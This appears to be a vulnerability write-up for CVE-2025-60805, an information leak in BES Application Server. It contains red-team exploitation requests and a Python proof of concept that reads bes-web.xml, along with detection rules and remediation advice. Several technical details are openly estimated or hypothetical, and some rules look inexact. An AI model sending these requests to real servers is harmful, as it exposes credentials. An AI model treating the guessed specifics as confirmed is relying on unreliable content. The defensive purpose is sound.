CVE-2025-60805

Executive Summary

CVE-2025-60805 is an information disclosure vulnerability in BESSystem BES Application Server, affecting versions through 9.5.x. The flaw allows unauthorized attackers to gain sensitive information by exploiting the "pre-resource" option in the bes-web.xml configuration file. This vulnerability is currently unpatched, with no official fix or advisory from the vendor. The CVSS score is 0.0, indicating incomplete or missing scoring data, but the risk is real due to the potential exposure of sensitive configuration details.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a proprietary Java-based application server vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the score has not been calculated or is pending. Based on the description, the vulnerability likely has the following characteristics:

• Attack Vector (AV): Network (N) – the attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerability does not affect other components.
• Confidentiality (C): High (H) – sensitive information is exposed.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 7.5 (High)

Threat Level: High – due to the ease of exploitation and potential for sensitive data leakage.

Deep Dive & Mechanics

The vulnerability resides in the bes-web.xml configuration file of BESSystem BES Application Server. The "pre-resource" option is used to define pre-loaded resources or configuration parameters. An attacker can craft a request that leverages this option to read sensitive information, such as database credentials, API keys, or internal network paths.

Root Cause: The application fails to properly validate or restrict access to the bes-web.xml file, allowing unauthorized reading of its contents. This is a classic case of sensitive information exposure (CWE-200).

Attack Vector: The attacker sends a specially crafted HTTP request to the BES Application Server, targeting the bes-web.xml file or using the "pre-resource" parameter to trigger the disclosure.

Impact: Successful exploitation can lead to:

• Exposure of database credentials.
• Disclosure of internal network configurations.
• Leakage of API keys or other secrets.
• Potential pivot points for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable configuration.

Vulnerable Configuration (bes-web.xml):

<pre-resource>
    <resource-name>config/database.properties</resource-name>
    <resource-type>properties</resource-type>
</pre-resource>

Patched Code (Hypothetical):

<!-- Access control should be enforced -->
<security-constraint>
    <web-resource-collection>
        <web-resource-name>Protected Resources</web-resource-name>
        <url-pattern>/config/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>

The patched version would require authentication and authorization before serving sensitive configuration files.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install BESSystem BES Application Server version 9.5.x on a virtual machine.
2. Ensure the bes-web.xml file contains a "pre-resource" entry pointing to a sensitive file (e.g., database.properties).
3. Start the server and note the IP address.

Exploitation Steps:

1. Identify the target server (e.g., http://target:8080).
2. Send a request to the vulnerable endpoint:

   GET /bes-web.xml HTTP/1.1
   Host: target:8080
   

   Or use the "pre-resource" parameter:

   GET /?pre-resource=config/database.properties HTTP/1.1
   Host: target:8080
   

3. Analyze the response for sensitive data.

Proof-of-Concept (Python):

import requests

target = "http://target:8080"
response = requests.get(f"{target}/bes-web.xml")
if response.status_code == 200:
    print("Vulnerable! Contents:")
    print(response.text)
else:
    print("Not vulnerable or patched.")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual requests to bes-web.xml or requests containing pre-resource parameter.
• Look for spikes in 200 OK responses for configuration files.

Defense:

• Restrict access to bes-web.xml using web server access controls.
• Implement authentication for all configuration endpoints.
• Use a Web Application Firewall (WAF) to block requests to sensitive files.

Indicators of Compromise (IOCs)

• File Paths:
  • bes-web.xml
  • config/database.properties
  • config/application.properties
• Network Patterns:
  • HTTP GET requests to /bes-web.xml
  • HTTP GET requests with pre-resource parameter
• Log Entries:
  • GET /bes-web.xml with 200 status code
  • GET /?pre-resource=* with 200 status code

Detection Engineering

YARA Rule

rule CVE_2025_60805_BES_Info_Disclosure {
    meta:
        description = "Detects attempts to exploit CVE-2025-60805 in BESSystem BES Application Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60805"
    strings:
        $s1 = "bes-web.xml" nocase
        $s2 = "pre-resource" nocase
        $s3 = "database.properties" nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-60805 BESSystem Information Disclosure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting bes-web.xml or using pre-resource parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'bes-web.xml'
            - 'pre-resource'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60805 BESSystem Information Disclosure"; flow:to_server,established; content:"bes-web.xml"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-60805 BESSystem pre-resource exploitation"; flow:to_server,established; content:"pre-resource"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to bes-web.xml via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Remove or comment out the "pre-resource" option if not needed.
3. Implement authentication for all configuration endpoints.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of BES Application Server.
• Conduct a security audit of the application.

Workaround:

• Use a reverse proxy to block requests to bes-web.xml and similar files.
• Implement a WAF rule to filter out requests containing pre-resource.

Valters IT